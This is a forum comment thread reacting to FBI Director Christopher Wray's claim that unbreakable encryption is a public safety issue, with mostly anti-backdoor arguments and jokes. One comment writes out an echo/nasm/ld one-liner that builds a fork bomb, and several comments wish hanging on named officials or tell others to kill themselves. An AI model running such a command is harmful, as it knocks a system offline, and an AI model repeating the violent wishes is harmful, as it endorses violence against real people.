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FBI Chief Calls Unbreakable Encryption 'Urgent Public Safety Issue' (reuters.com)
The inability of law enforcement authorities to access data from electronic devices due to powerful encryption is an "urgent public safety issue," FBI Director Christopher Wray said on Tuesday in remarks that sought to renew a contentious debate over privacy and security. From a report: The FBI was unable to access data from nearly 7,800 devices in the fiscal year that ended Sept. 30 with technical tools despite possessing proper legal authority to pry them open, a growing figure that impacts every area of the agency's work, Wray said during a speech at a cyber security conference in New York. "This is an urgent public safety issue," Wray added, while saying that a solution is "not so clear cut."
Think of the children! No, not the children assembling iPhones in sweatshops: the children the FBI are looking to protect. Think of them.
"I want free access to the cookie jar, waaaaaah!"
Table-ized A.I.
Donald Trump's mental instability, treason, and subversion of the rule of law are the biggest threat to the world since the last White Affirmative Action President.
Heaven forbid people actually be secure in their persons, papers, and effects!
Stupid sexy Flanders.
I will grant Christopher Wray benefit of the doubt and interpret his words charitably - he must have meant it is public safety issue that more people don't use strong cryptography, potentially exposing sensitive data to FBI and other crooks.
I don't see it all that short term thinking. This is definitely part of a larger picture, a longer termed plan.
Get this wedge in now, this idea that some authority should have all the keys to the encryption kingdom, and it should be easier to keep it there when the next privacy scheme comes along. Otherwise it's a doubly hard fight the next time. You have to convince more people that the authorities are correct to want it. Do it now, when it is of less concern.
Either encryption works for everyone, or it works for no one.
In the end, calling unbreakable encryption an "urgent public safety issue" is pointless.
Why are cars lacking security features against terrorists?
Why are guns lacking security features against terrorists?
Why is cash lacking security features against terrorists?
The FBI/CIA/NSA does not only want to access the devices thieves/killers/terrorists, they want to spy on EVERYONE.
#DeleteFacebook
Big brother doesn't need the ability to paw through all my records without just cause.
I think they're going about solving the safety problem all wrong. They're trying to brute force everything & everyone into submission and getting along. What they really need to do, is give terrorists and the like, less reason to do harm to others. Then there'd be far less of a problem. That would take a whole cultural change and a change in military policy though, and they don't want to do all the work that would require. It would be better for everybody though.
Can you give a figure of the impact (in lost human lives or property) of not resolving this issue?
Thanks.
An urgent public safety issue? Talk about first world problems. Even if one person gets through and kills 50 people, Its a sad day, but certainly not the end of the world.
--
We had every right to shoot him. - G. Gordon Liddy
You have the legal authority to pry them open. Get prying. Having the authority to try to open something doesn't give you the entitlement to open it. Unfortunately, it seems the top dog at the FBI does not understand this concept. It's also entirely the fault of the FBI and other government agencies with police powers that this encryption situation has gone in this direction. They made this bed and they must lie in it. No law can change the fundamental properties of mathematical operations, and good luck outlawing consumer encryption since every CPU being made nowadays (even Celerons and Atoms) has hardware AES and such strong encryption is ubiquitous. Combined with the epic failure and subsequent revelations of major flaws in the government's key escrow Clipper Chip, there is no way the FBI is killing off the spread of encryption.
It is an 'Urgent Public Safety Issue', but not in the way they are suggesting...
... is our fucking brains.
"Our inability to get inside people's heads is an "urgent public safety issue."
It little behooves the best of us to comment on the rest of us.
Apparently doesn't know what the first, fourth and fourteenth amendments are or that they are supposed to protect us from him.
send mulder and scully to the apple spaceship!
The fact the director of the FBI can be this stupid.
I remember back in the 90's or early 2000's someone said the CIA was intercepting ALL email in the USA, and running it through a program that would look for key words or some such garbage. I went into my signature file, using a WHITE FONT and put in my sig file about 20-30 words that should have triggered something, just to hopefully screw with their program. Probably didn't work, but it made me feel better. Hey, I'm as law and order as the next guy, but MY PRIVACY IS MINE. You THINK I'm doing something illegal? Get the probable cause and get a warrant!
If everybody gave their children guns and proper training they wouldn't be getting kidnapped all the time. Stupid libruls!
So math is a public safety issue?
5 out of 6 people enjoy Russian Roulette & 6 out of 7 Dwarfs are not Happy
I will use any encryption that you want me to use.
As long as you can prove to me that you use the same encryption for everything at the FBI.
If you are not willing to do that. GO FUCK YOURSELF
Death has been proven to be 99% fatal in lab rats.
What those people are overlooking is that if encryption is weak enough (or subverted) that NSA can crack it, it is weak enough for other government agencies and criminals to do likewise.
They may still believe that good ol' American know-how leads the world - but if so, they are just plain wrong. Mathematics is international.
I am sure that there are many other solipsists out there.
To be honest, Law Enforcement and their " kill everyone who doesn't comply with our demands " is an urgent Public Safety Issue.
Encryption, on the other hand, hasn't killed any innocent people as far as I know so I think their priorities are a bit skewed.
Back on topic:
Encryption, when properly inplemented, does exactly what it's supposed to do. It keeps unauthorized eyes off of private data. Just because you wear a badge doesn't give you the right to spy on everyone.
If our government could be trusted, we wouldn't need such things. However, they've shown us time and time again why they can't be trusted, thus we end up where we are today.
Once you mandate backdoors, the folks that LE is interested in will simply cease utilizing the product and you're right back to square one. ( With the bonus you get to spy on everyone else now, which is likely the true goal anyway. )
Quit being so fucking lazy and actually DO some real police work for a change lest you be known as the Federal Bureau of Incompetence.
What puzzles me is, with all of the resources that the US federal government has at their disposal, why aren't they actually trying to crack encrypted phones?
As I understand it, the older iPhones could likely be cracked by desoldering a chio and interrogating it. The newer ones have their entire security apparatus encased in a single chip but I don't see why the chip couldn't be removed, disassembled, and its partial private key extracted. It's probably not something that could be done by hand and would probably involve contracting with a chip-fabricating outfit. The outlay costs would be enormous but once a "Federal Bureau of Device Recovery" was established and operational, they could make back money by cracking phones for state and local law enforcement.
It's just so strange because it seems likely that eventually other countries will have this capability, if they don't already. My guess is that if the FBI hasn't figured out how to crack encrypted iPhones themselves in the next 5 years, they'll be a company in Israel that will be happy to do it for them.
I will argue that the sentence "This is an urgent public safety issue." is as poignant and as meaningful as saying "I am important because my opinions are important", as making a point about making a point, is philosophically a red flag when making an argument. To literally attribute an inherent sense of importance of something, on the merit of having referenced an assumed importance of something else in the same sentence, makes such claims very much dubious and not very convincing, unless ofc, you are prone to believe whatever you are told regardless.
In these days when police seem to assassinate people in USA because of overreacting or being reckless, one would think that there has to be this clear idea of there being a "public safety issue" in any case. Somehow, I think that the FBI is thus trying to reference a limited scope of this idea of 'public safety', and so they are probably only interested in fronting their own agenda for law enforcement, but not public safety as such.
The director paged through the packet logs from the FBI director's machine and smiled to himself.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The large scale fuckery we enable through lack of encryption far, far outweighs the small scale fuckery we may suffer due to having it.
It's very serious that law enforcement believes that it needs access to everyone's everything. FUCK THEM! If I want to keep things private, that's *MY* business.
Maybe they should have thought about that before abusing their powers to snoop on everyone. Maybe encryption would not be as prevalent as it is now if people didn't feel the 3 letter agencies were trying to hoover up ever bit of their digital lives they could get their hands on.
If they've got a wiretap warrant, then they can put a trojan on the suspects phone _before_ the arrest to gather evidence.
Just send a 'copy all data to FBI server' command when you're ready to make the arrest so that even if the phone is locked/destroyed they've got the data.
The justice system in the US is for the most part adversarial. The prosecutors and police are on one side and the alleged criminals and their lawyers on the other. I think this works well in some cases. In other cases I think it doesn't work at all. In France and other places, there are no sides and what matters to the courts is that the truth gets out.
There are many cases where I think the French way is a better solution, such as organized crimes. Mafiosos, gangs, paedophile rings, etc should not be afforded the same protections that an individual currently gets in the US justice system. It is simply too easy for groups to thwart justice in the US system.
The inability of law enforcement authorities to gain convictions due to legal rights is an “urgent public safety issue,” FBI Director Christopher Wray said on Tuesday in remarks that sought to renew a contentious debate over privacy and security.
The FBI was unable to force convictions of nearly data from nearly 7% of the accused in the fiscal year that ended Sept. 30, despite possessing proper legal authority to lie, trick, and deceive, a figure that impacts every area of the agency's work, Wray said during a speech at a cyber security conference in New York.
“This is an urgent public safety issue,” Wray added, while saying that a solution is “not so clear cut.”
Enjoy life! This is not a dress rehearsal.
They want to catch crooks. Meanwhile, billions in dictatorships are kept down with the assistance of breaking crypto.
Are we to sacrifice them so a prosecutor can get a notch or two on his belt once in a great while?
And what are those hundreds of millions of children living with a boot on their face...forever...worth?
Torture and murder some, you are a nasty criminal. Torture and murder hundreds of thousands, and people in free countries say you are practicing self-rule.
(-1: Post disagrees with my already-settled worldview) is not a valid mod option.
"The FBI was unable to access data from nearly 7,800 devices"
So they claim. I watched X-Files last week, I know what's REALLY going on.
You're telling me that the only evidence that crimes are committed is always hidden by encryption? If this is the case, then when did this begin? I find it very hard to believe that a murderer can successfully encrypt his victim's corpse. And the weapon. And the fingerprints. And the fibers. And the motive.
What happens when criminals start using one-time-pads? Are we going to outlaw pen and paper at that point?
FBI, get better at your job.
7800 terrorists went free? 7800 deals for pot were consummated? Or 7800 sets of hot nude pics were not drooled over by FBI agents?
Have gnu, will travel.
Nobody said your job was going to be easy.
No one has granted you carte blanche to access our data, our lives, our thoughts.
The big problem here is the effort to prevent a crime vs solving a crime.
The government, the police, the feds, etc. want access to prevent a crime, but that in itself is quite fluid because, as Trump is demonstrating, it can be a "crime" just to say he is a foolish, petulant child. So they want access to everything to "prevent" this kind of thing.
While I might support cracking something open for additional evidence to solve a crime, where at least one or more judges agree that a crime has been committed and where the courts can be used to argue whether or not to force the opening, I would never consent to allowing any so-called authority a pass key to dig around in my stuff in a preventative fishing expedition.
I was going to say that if encryption had a backdoor between 0 and 0 children would have been saved, but then I thought about all the IoT devices that have been hacked recently. The truth is, with backdoor we would be putting thousands, tens of thousands, possibly even hundreds of thousands of children at risk.
Just ask Cisco how the government mandatedo backdoors worked for them and how much it cost them?
Microsoft, Apple, Google, Amazon what's the difference? All steal money from devs and control with walled gardens.
... that crime has increased exponentially in sync with the exponential rise in smart device sales.
Just kidding and stuff.
Today, the FBI released its annual compilation of crimes reported to its Uniform Crime Reporting (UCR) Program by law enforcement agencies from around the nation. Crime in the United States, 2015 reveals a 3.9 percent increase in the estimated number of violent crimes and a 2.6 percent decrease in the estimated number of property crimes last year when compared to 2014 data.
According to the report, there were an estimated 1,197,704 violent crimes committed around the nation. While that was an increase from 2014 figures, the 2015 violent crime total was 0.7 percent lower than the 2011 level and 16.5 percent below the 2006 level.
It little behooves the best of us to comment on the rest of us.
Much as I don't like this idea myself, it is not new.
The Fourth Amendment explicitly allows the Executive Branch — after securiing Judicial Branch's approval — to access all of our possessions and "effects". They have a right to do that, which no one seems to seriously dispute.
The strong encryption has given us the means to lock things up so that even the government can't get them — this part is new. Although they still have the right to read your data, they no longer have the ability to do it.
While this is something we individually celebrate, you can not denounce police complaints about this situation without also denouncing their well-established — and generally accepted — power to search all your other stuff.
In Soviet Washington the swamp drains you.
Why are you worried? You still have this method, don't you?
When AES-256 is a crime only criminals will have AES-256. Make using it a crime and it won't matter that you can't crack it since you can just lock anyone using it up. Problem solved.
Hi! I make Firefox Plug-ins. Check 'em out @ https://addons.mozilla.org/en-US/firefox/addon/youtube-mp3-podcaster/
Does the FBI Chief actually believe in "Unbreakable Encryption"? Intel just announce there is a 49-qubit CPU chip coming. Imagine what they are at the Puzzle Palace that highly classified. Methinks he is disingenuous, stupid, or just does not have a high enough security clearance. I believe he is trying maintain the myth.
FBI Chief Calls Unbreakable Encryption . . . "a valuable tool to protect the rights of law-abiding citizens" is how it should read.
"I believe in Karma. That means I can do bad things to people all day long and I assume they deserve it." : Dogbert
lack of unbreakable encryption is an urgent public safety issue.
Proud neuron in the Slashdot hivemind since 2002.
I'd rather take my chances with the government being unable to decrypt something important as opposed to the government being able to decrypt everything. I am certain that their being able to decrypt everything will cause harm (consider the OPM data breach), which their being unable to decrypt something important may or may not realize consequence.
What rock is so comfortable that you were able to hide underneath it for so long as to entirely miss the FBI vs. Apple drama about this?
Not only did FBI had the necessary warrant(s), a judge explicitly ordered Apple to assist the Bureau.
And yet, Apple fought it tooth and nail — with popular support...
In Soviet Washington the swamp drains you.
Unbreakable encryption is needed for public safety, given all the public functions that take place on computers and computer networks.
I doubt he even knows how to turn on a computer, and can barely use a phone.
Breakable encryption is virtually no better than no encryption at all. There's no reason to fool yourself into thinking that your data is safe. This reminds me of the TSA lock, where there are only 5 or so keys, all of which can be purchased by the general public online. Government wants control, and will use any reason they think will justify it.
The fact they can't break the encryption is proof that's effective and a good idea. If I want people to see my traffic and data, I'll let them see it, other wise, forget it.
There is nothing in his statement that is technically incorrect.
"The inability of law enforcement authorities to access data from electronic devices due to powerful encryption is an “urgent public safety issue,”" This is very much true. Metadata analysis can only take you so far.
"while saying that a solution is “not so clear cut.”" Hell yeah, there really is no solution
Some people use the [flawed] analogy of a safe. the FBI can either crack a safe, or burn through the door to get at the contents if you refuse to open it under judicial order. While this is still technically possible using strong encryption, the heat-death of the universe will probably come first, thus rendering it moot.
I'm going to simplify his statement: "The inability to access data due to powerful encryption is an urgent public safety issue" the "From electronic devices" muddies the water, and gets people all up-in-arms about "think of the children", or "OMG Terrorists"
Encryption is a wrapper around data. Much like an envelope, or a diplomatic bag (legally immune from search and seizure by international agreement) Can you imagine the uproar if the US suddenly announced that it reserved the right to open every diplomatic pouch sent to or from the US? or to listen in on every conversation between embassies?
I'm sure that the NSA, CIA, FBI, FSB, and every other national security agency world-wide is trying to break modern strong encryption. They'd be stupid not to! but what doesn't seem to be understood is that modern encryption is math. Math works for everybody the same way. If a hole is discovered in an encryption system, anybody that uses that system is then vulnerable to having their data read by a third part (authorized or unauthorized - from the legal, warrant has been issued state) This might be someone emailing pictures to their grandmother, it could be a terrorist cell communicating with a handler, or it could be instructions to one of our nuclear missile submarines. The Math doesn't care!
I'm sure that Mr. Wray would agree if I said that "the inability of the US government to access data from Russian sources due to powerful encryption is an urgent public safety and national security issue" I wonder how much he would agree if I said that "the inability of the Russian government to access data from US sources due to powerful encryption is and urgent safety and national security issue"?
I will not give in to the terrorists. I will not become fearful.
And dial the NSA and the other eight "security" organizations the US controls which put the holes in encryption in the first place.
It's not hard, FBI.
And stop letting them compromise chip design.
-- Tigger warning: This post may contain tiggers! --
Really? Are people beeding? Are they getting sick because encryption? Or are you just angry that you can not violate privacy rights with abandon?
While we want privacy and anonymity, we don't want it used for nefarious purposes. Such things tend to serve people generally but also terrorists, pedophiles, drug cartels, etc. I strongly believe we need a system that provides accountable anonymity, such as a Reputational Identity Service.
That is, create an identity that enables others it interacts with to rank its reputations along a rubric. This could be used for determining if the identity is a good citizen on comment boards, doesn't cheat people in business, etc. It could act as a form of credit check... Does the entity have a strong reputation for dependability in paying what it owes? Just like with ordinary credit, an identity would begin with no reputation and slowly build one over time. If the identity has a long history of being a certain way then the risk is low that that will change any time soon. This is true, even if the same person holds two identities--one for good and one for evil. You will know which one is safe to deal with, and how much it is..
Each person's must have a limit as to how much he/she can give to others, to prevent undue reputation inflation or deflation. So each time you score another, you have a percentage of your total to give and that takes away proportionally from those you have already given to. So one's reputation can build but it will also fade over time. One's reputation score is measured by its average over time... This is LIKES++.
On message boards, filter and allow privileges based on reputations. Do business based on reputations. Deny certain information based on reputation. Reputation may always be earned or lost.
FBI Chief Calls Unbreakable Encryption 'Urgent Public Safety Issue'
I agree 100%. For the public's safety, we must all adopt unbreakable encryption immediately.
FBI Director Christopher Wray's statement assumes that only the FBI can keep us safe, and then only if they can break into secured phones.
Notice the arrogance there? In fact this is a common authoritarian technique. "No one can save you but me. No one understands or cares about you except This Organization. Without us you are lost, you are nothing. You should Thank God and wish us a Reign of a 1000 Years!"
Except, with strong encryption, we can save ourselves. We don't necessarily need The Man. They need us more than we need them.
I'm not campaigning to get rid of law enforcement, I simply want them to do their jobs according to the rules. They want to change the rules to make their jobs easier. OK, I disagree and say No, thank you very much!
In the USA, Law Enforcement has proven to be untrustworthy of having those tools.
They have not just inched over the privacy line, they've scratched it out and taken a plane 100 miles farther. Just look at border searches. I was in Mississippi last month driving on I-10 and saw 3 cars pulled over by CBP vehicles. Yes, it was 3 miles from the Gulf, but what sort of real border crossing is there nearby?
IMHO, if 7,000 criminals get away with things so that 300M others can be secure in their personal effects and paper, then it is completely a trade-off I'm willing to accept AND promote.
We can discuss this again after
* all the cell phone stingrays are only used with signed warrants from a judge.
* the NSA stops capturing data from all Americans without any warrant at all.
* the local and state govts are allowed to kill the "papers please" acts - like RealID.
* Cities stop tracing all RF signals entering, leaving and traversing their streets without any warrant at all.
* All govt data collection has a "reasonable" time frame for deletion. I'm thinking 30 days, but 2 weeks might be much better. Infinite is completely unacceptable.
Forbidding encryption is like forbidding the multiplication of large numbers. In fact, it's largely EXACTLY THE SAME THING. That's what most of government officials who call unbreakable encryption an "Urgent Public Safety Issue" don't get. They're not necessarily evil or corrupt, but they think of encryption as some kind of magic wand, highly advanced technology like guns or nuclear weapons, which you can prevent private citizens from acquiring, when in fact what it really is is -- mathematics.
Hello? Is this story even true?
Adhering to the law means nothing. IMHO, more laws ARE crimes than protect from crime.
Just look at the resource flow. Who gets what input resource taken away, who doesn't get to get rid of what output resource? Resources are space-time, matter-energy, and information-entropy. (I'm not finished pondering the latter. Entropy "kinda is" time and information "kinda is" space/matter/energy,or maybe not. I digress...)
And harm is relative anyway. Somebody with water poisoning needs lots of salt to live. Somebody dying of thirst would be killed by it.
But even seen relatively it is very clear who and what does the harm. And mostly is the one writing the laws and doing the ruling. (Corporate oligarchy government in capitalism, some other royal-court-like oligarchy in most other systems.)
No judge, no law, nothing and nobody has the right to break my encryption and access my documents and logs. Donâ(TM)t like it? Kill yourself.
What a coincidence, the rapidly increasing slide toward a despotic police state is also an "urgent public safety issue".
How will people protect themselves?
Any chance we can get a better look at a list of what they deemed "unbreakable"? I'd like to - um - look into' those things...
If encryption is breakable with a large amount of effort, then it does several useful things:
* It prevents people without the resources from accessing your mail.
* It may provide short-term security, which may be sufficient.
* It makes those who do have the resources be selective in whose encryption they break.
For example, if it takes a minimum of a week to break the encryption on an encrypted web connection that discusses an embargoed news item that will be published in 6 days, that's good enough.
Another example: If a government wants to crack down on encrypted communications among drug traffickers, but it costs them $10,000,000 for each decryption effort, they will need to pick and choose who they go after.
There are encryption systems that are provably unbreakable without a key, such as a one-time pad. Unfortunately, they are usually not practical to implement correctly.
Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
When the IRS, NSA, and other federal departments have been publicly known to read through the political opposition comms what is going to stop us from becoming the next Venezuela or China?
Ordinary people are not a public safety issue !! Unrestricted government is !!
Duh. Yes, we know it's an urgent safety issue and we have been screaming about it since the first big attack on the public (Clipper, which fortunately, was unsuccessful). The problem isn't going away by itself. We need to take action on this immediately, giving governments such a decisive and permanent "fuck off" that they never attack us again.
I recommend we approach the problem of totalitarian government by creating a chilling effect, where every time someone in law enforcement proposes attacking innocent people who use encryption, this causes them to lose their job. They need to know that with the first disloyal word against their country and people, they will personally suffer career-ending consequences. Fight terror with terror. Make the very subject of "how we can fuck over every American" be a poisonous topic to get caught discussing. At a minimum, this would make them use pseudonyms to introduce their disloyal proposals, taking away the currency of authoritative job titles. But any time someone taints the job title with treachery, we make a permanent life-destroying example of them. Zero tolerance. Traitors will _have_ _to_ hide.
* the local and state govts are allowed to kill the "papers please" acts - like RealID.
That example doesn't belong in your list. Preventing fraud and setting standards are both legitimate functions of government, if you're not an outright anarchist. We'd all be better off at this point with some national alternative to SS numbers for every company to use as their database key - something with at least some attempt at fraud prevention.
Socialism: a lie told by totalitarians and believed by fools.
At least we can reasonably assume that encryption is doing the job it is meant to.
As always, law enforcement and politicians calling for a backdoor is pure stupidity. No matter how good the intentions, the details will always fall into the wrong hands eventually. Or more likely (as demonstrated conclusively by law enforcement everywhere) they will end up using it in unwarranted ways.
Law enforcement needs to get over it and find other ways to do their job. You can't put the math genie back in the bottle.
FBI wants every encryption to be FBI-approved providing a backdoor accessible to the FBI (and hackers who will shortly crack the backdoor.) Yeah and I want to be tall, rich, and seduced by and endless stream of beautiful women. Both are pipe dreams. Anyone can home-brew uncrackable encryption via a one-time pad. (generate a random/high-entropy string of bits, xor with the plain text to encrypt, xor a second time to decrypt.) This requires you distribute the one-time pad, inconvenient but doable via a thumbnail sized 64 GB thumb drive. (You can send in plain text a pointer into the pad to minimize the number of pads that have to be distributed.)
Everyone who is only moderately computer literate, or knows someone who is, has unbreakable encryption no matter what draconian laws are passed. Only the unwashed masses using government-blessed encryption are hackable.
Unbreakable encryption is an urgent public safety issue!
We need it, and we need computer systems that don't fail to protect it.
- while saying that a solution is "not so clear cut." -
The solution is actually VERY clear cut. Stay out of my data, fullstop. And no I don't care what your piece of paper says.
If I encrypt something it means I consider it an extension of my brain and personality. Nobody is allowed into there, and no rubberstamping judge will ever tell me otherwise...
And YES, I am absolutely ready to face jailtime, but I will NEVER under ANY circumstances allow access to stuff I encrypt, not even if they use the $5 xkcd wrench. Otherwise I wouldn't have encrypted the data in the first place.
Private means PRIVATE, it doesn't mean private until the government decides it doesn't suit them.
government is the entity people need to be able to keep secrets from MOST OF ALL.
You would think a country that fought a revolution to escape tyranny would remember that.
While the topic was corporate profits, I think this applies equally well to the FBI's theory that because they have the legal right to access a device that it is the responsibility of anyone but them to actually access the device. Here is the relevant quote from life-line:
"There has grown up in the minds of certain groups in this country the notion that because a man or corporation has made a profit out of the public for a number of years, the government and the courts are charged with the duty of guaranteeing such profit in the future, even in the face of changing circumstances and contrary to public interest. This strange doctrine is not supported by statute nor common law. Neither individuals nor corporations have any right to come into court and ask that the clock of history be stopped, or turned back." - Life-line, Robert A Heinlein, http://www.baen.com/Chapters/0743471598/0743471598___2.htm
History has suggested when the police had the legal right to access our affects they actually would get that access. That is because in the past they could blast the doors down or pick the lock of any place they wanted. Now they ask the clock of history be turned back and I think they too fail to understand it's not societies job to turn it back for them.
It's called "Liberty" to those of you that failed Civics 101. You want my stuff, get a warrant. If I won't talk, I'm in contempt and will most definitely end up in jail. But I have the freedom to hide what I want, because as of the current time, I'm guaranteed that Right.
So go pester someone else.
In Germany we say "Nur Bares ist Wahres!". (Only cash is true [money/value].)
And most of us mean that on a "from my cold dead hands" level .
I remember hacking F, H, and Hu cards from DirecTV and I fondly remember the crackdown you refer to in your post. However, it needs to be noted that the practical impact of the knowledge ban was almost zero because the internet was alive and well during those days.
Put simply.....people just routed around the information clamdown and they did it with very little effort.
Freedom means accepting certain risks as a society.
That is all.
RealID is a fraud as well as being unamerican.
It is trivial to dummy up the papers to get an "enhanced" ID. I get you love the taste of fascist jizz but try thinking now and again.
numbnuts
I agree. Unbreakable Encryption is an 'Urgent Public Safety Issue'.
We, the public, need more of it. It more places. The ever increasing intrusions into our privicey need to be stopped.
Not only that we need more securely built systems. Unbreakable encryption is just a small part of that problem.
On the other hand, if people can't encrypt their data (or that encryption is breakable), then it creates an entirely different set of problems. People can't safeguard their data or protect their systems. It increases the vulnerability of our infrastructure. It increases the chances that criminals and terrorists can gain access to important and private information.
Funny, when I first glanced at the deadline that is the angle that I thought the article was going to take, but then I saw that the quote was attributed to the FBI, and I realized that wasn't going to be the case.
What I really want to know is, what devices were being used in the mentioned 7,800 cases that they couldn't get in? I need to go shopping...
HA! I just wasted some of your bandwidth with a frivolous sig!
a solution is "not so clear cut."
I'll say. There's that little problem of the number of seconds left in the life of the universe.
FBI should declare a war on mathematics. Using complex math should be restricted to licensed practitioners, like cocaine is for medical research. The war on drugs being such a success, I think we are ready for a war on mathematics. It's really easy to see when people are using math. It needs to stop. We need to build more prisons, to make sure people stop using math to protect themselves from the goons in the world. Fill the prisons with those brutes who think they have a right to privacy! There is no right to privacy any more than there is a right to put things into your own body. Let the War begin!
We have your metadata (location, calls, IP etc.). Your contacts are in the cloud. Your calendar is in the cloud. Your pictures are in the cloud. We can read your FB account, your Twitter account etc.
What more do they expect to find ?
I would expect that an "urgent public safety" issue would be one that has led to the deaths of some hundreds of people. If not in the last fiscal year, then over a period of a few years. I would further expect that there would be a demonstrable upwards trend in that number.
So where are we? Is there any data on how many people have died as a direct result of the government not being able to gain data that was / is only available on some perp's phone?
Or is this really about the government wishing to have to power to reinforce its dominance and simply brag about how powerful it is?
politicians are like babies' nappies: they should both be changed regularly and for the same reasons
"We need access to all these phones to solve cases because we never, ever solved a case before cellphones existed."
Cleverly disguised as a responsible adult.
Security Experts Call Breakable Encryption 'Urgent Public Safety Issue' and 'Urgent National Security Issue'
Leaving aside completely whether or not law enforcement officials can be trusted to have access to our personal information in the first place, people who spout this kind of rhetoric:
If legislation is introduced that makes it easier for law enforcement to access such data, then they will also make it correspondingly easier for the bad guys to do likewise, and that will result in an *INCREASE* in law enforcement efforts, not a decrease, as law enforcement would then have to work that much harder to protect innocent people from being exploited by those that access people's private information without authorization.... not to mention that such efforts are unlikely to be 100% successful anyways, so more innocent people will get hurt.
The bad guys, meanwhile, who aren't going to be interested in following the law in the first place with regards to only using authorized encryption, are going to continue to get away with stuff because you can't necessarily identify a communications packet that has been encrypted using a known mechanism and one that has not unless you already know what the unencrypted packet actually contains in the first place (and in fact, it is completely trivial to invent a custom encrypted communications protocol that can be mathematically proven to guarantee such results).
File under 'M' for 'Manic ranting'
The FBI and other government agencies have demonstrated for years their corruption and criminal intent for decades. Constantly violating our Constitutional rights. Strong encryption is our only defense against government that don't obey the 4th Amendment rights. It is no different than America was 100 years ago when we could have communications without their knowledge.
We will always use strong encryption, in fact I am starting to encrypt random garbage, just to waste their time.
If government authorities aren't doing anything wrong, then they should not have any need to read our data without a warrant. I will never comply with them. I will ALWAYS encrypt whatever I like.
'Excuse, Mr. Wray, in what way will our computer systems such as e-voting, national databases and intelligence secrets be protected from adversarial countries and hacker groups when the next NSA leak includes the keys to our encryption?"
STFU! This is YOUR BOY doing exactly what he said he would do. You asked for this. You made this bed, and you'll fucking lay in god dammit.
You don't need to break encryption to catch bad guys. It just makes it easier for lazy cops.
“Those who would give up essential liberty to purchase a little temporary safety, deserve neither liberty nor safety.” Benjamin Franklin.
And will probably nd up with neither.
That's a feature, not a bug. If you want to decrypt someone's data, get a warrant and compel them to turn over the key. No probably cause for a warrant? That too is a feature, not a bug. You don't get to go fishing for evidence to convict people.
We can easily and handily identify those who are traitorous to our ideals of self, privacy, and security in our person. These people are anti-bill of rights, anti human rights, and anti personal freedom.
Traitors are legally allowed to be hanged.
I would applaud while eating popcorn to see him and ajit pai fall a foot before the rope snaps their necks.
Without "unbreakable" encryption, this is what happens. This guy is worse than Harvey Weinstein... he literally wants to force actresses to share their naked selfies with the world.
Since there is no such thing as unbreakable encryption, I fail to see the problem here. Sure, it might take you a trillion years but all encryption can eventually be broken. Just takes time.
I read at +2. If your post doesn't reach that level I will not see or respond to it.
Re: "None of your scenarios are relevant. The FBI director isn't asking for...[blather and palaver]"
"Yet" is the appropriate reply. They aren't asking for those things yet.
The downside to all 'slippery slope' conversations is that often, there is no slippery slope. The issue really is just the issue at hand and not some imagined dystopian future. So let's look at the possibilities for the slippery slope.
Scenario #1: Torture
Torture was used at Guantanamo (ignore the nonsense about "tough interrogations"). It was officially sanctioned and performed by employees of the US Government. There were no official consequences either. Unofficially, rendition to other countries to enable torture also happened. That says everything that needs to be said; this is a real possibility.
Scenario #2: Official B&E
This seems less likely to be sure. Nixon did it in Watergate and it cost him the Presidency. It happened but there were serious consequences.
Scenario #3: Chipping Children
The technology exists and it's widely deployed for pets. It's reliable, capable, inexpensive and safe. As a Universal Identifier it would be like a killer app, once you get past the Orwellian implications. It could even be sold to citizens as a convenience. Never lose a wallet again! Pay for stuff by waving your hand! Get through airport security in the fast lane! And for parents, lost or stolen children would be a thing of the past! The technology has a big image problem when connected to people and that's the worst problem to overcome.
Is this Slippery Slope plausible? Scenario #1 has already been implemented in (at least) one location. Scenario #3 is already developed and deployable, with only an image problem to overcome. Scenario #2 is limited only by the application of the law and the law can be changed, or left unenforced.
So, what are the 7800 cases they're waiting on about? Is this some minor drug charge? Some guy that got pulled over talking on his cell phone? Actual murder cases?
I'd put a lot more stock in this if we didn't already know that they're seeking invasive access they don't need for crimes they can already prove without said access.
Clearly the terrorists have won! The basis of encryption is math. Ban math. No more Al-gebra!
Yes, unbreakable encryption is a problem for law enforcement. And yes, they need to do something about it, because yes, criminals are using it.
Of course, unbreakable encryption is extremely valuable for plenty of reasons, it's here to stay but it doesn't mean we should ignore the problem. Police has to do its work, and it means watching people in some way or another, there is a balance with privacy that is not always easy to find. When discussing the police watching you, it is easy to think about cases where you end up arrested because you searched "bomb making" on Google, but that's ignoring the cases where you aren't arrested because the same surveillance has shown that you couldn't be the culprit. And I am not just talking about high profile "think of the children" cases. Finding who stole your car or who scammed grandma also counts.
Sure I know about government abuse, and that some of the criminals are the ones who are supposed to protect us. I also have things to hide are I don't like being watched any more than you do. However, I think extremism will get us nowhere. We have established that strong encryption is a must have, now what are the solutions to the problem of crime fighting? The better the answer, the more seriously we will be taken by those who want to demonize encryption.
yup
it isn't law enforcement, it's political enforcement
Keep encrypting, especially unnecessarily. Obviously our efforts our hitting a nerve. Keep at it, encrypt EVERYTHING!
I'm sure there are a number of countries that could help.
Not possible to undo the math existing, sorry. But I thought "enhanced interrogation" was back?
It's the Reptilians. They have a penchant for pederasty.
I didn't get a pedo vibe from Chris Bucholz's interview with Mr. Malok.
We called that "feeding the CARNIVORE"
Meanwhile, there are plenty of people who have forgotten or misplaced crucial passwords to encrypted disks on their PCs, passwords that have been typed in and therefore (in the paranoid world) have also been logged to XKeyscore databases or compromised with similar eavesdropping technology by various governments around the world. There's a fairly clear social demand for accessing one's own data, and given that all these eavesdropping programs are common knowledge now denying access in order to keep the programs secret seems pointless.
Note to self - cryptsetup luksAddKey is a very good idea, maybe use that next time.
From the article:
This is obviously a very dangerous situation, given that there are literally dozens of ways people's PC:s and other electronic devices are compromised these days, both via hardware and software. Perhaps you think you are safe - to which I'd reply you are likely poorly informed (start by reading up on XKeyscore and the related eavesdropping programs). So if you allow cases to be decided on solely "electronic" evidence, many innocent persons who have been tricked, "pranked" or otherwise attacked will be victimized. A related issue is that there's a risk of silent repressive actions against persons based on mere suspicions from surveillance data or simply personal rivalry, feuds or revenge for real or imagined reasons. Tragical examples of this can be found in the literature.
Unbreakable encryption IS an urgent public safety issue. It is urgent that we have it to protect people from being hurt by the FBI.
Tough shit.
~ People that think they are better than anyone else for any reason are the cause of all the strife in the world.
The absolute end of Commerce on the Internet.
If ANY third party can break the encryption then we must assume that, given a few days or weeks, EVERY third party has broken the encryption.
NO commercial transactions will be safe.
Back to the 1970s, guys.
